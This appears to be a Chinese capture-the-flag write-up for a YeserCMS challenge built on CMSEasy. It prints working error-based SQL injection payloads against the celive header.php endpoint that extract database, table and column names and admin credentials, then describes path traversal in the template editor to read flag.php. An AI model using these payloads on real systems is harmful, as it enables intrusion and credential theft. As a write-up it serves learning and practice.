【百度杯】九月场-YeserCMS wp

思路

  1. 确定CMS类型
  2. 查找该CMS出现过的漏洞
  3. 利用漏洞拿到shell,get flag

确定CMS类型

在这里插入图片描述
从评论处确定是CMSEASY

查找公开漏洞

找到一个注入漏洞cmseasy无限制报错漏洞,得知是一个报错注入,从文中找到poc,经URL解码如下xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(concat(username,'|',password)) from cmseasy_user),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>
目标URL为http://xxx/celive/live/header.php

利用漏洞

根据需要修改payload,首先爆出数据库名

xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x7e,(SELECT database()),0x7e),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>

数据库名Yeser

然后通过information_schema.tables来爆表名,由于XPATH syntax error长度限制,需要用mid或substr来取中间的字符,如下

xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x7e,mid((SELECT group_concat(table_name) from information_schema.tables where table_schema=database()),1,32),0x7e),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>

写个python脚本取出所有字符,发现表名yesercms_user
同理爆出字段名

xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x7e,mid((SELECT group_concat(column_name) from information_schema.columns where table_name='yesercms_user'),1,32),0x7e),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>

发现字段名username和password

然后爆出用户名和密码

xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,mid(CONCAT(0x5b,(SELECT username from yesercms_user),0x7e,(SELECT password from yesercms_user),0x5d),1,32),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>

得到密码是md5加密,解密一下,然后登陆,进入管理后台,起初期望找到文件上传点来上传一句话木马getshell,但是寻一圈无果,看了wp才知道通过文件读取来直接读取根目录下的flag.php
整理了一下思路,应该是发现编辑当前模板的地方,无法修改模板代码,通过截包分析得知是直接读取了模板文件,所以想到直接读取根目录下的flag.php
通过截包修改读取的文件名,并经过测试…/flag.php,…/…/flag.php等,发现是…/…/flag.php,修改如下参数
在这里插入图片描述

然后从response得到flag.php内容
在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值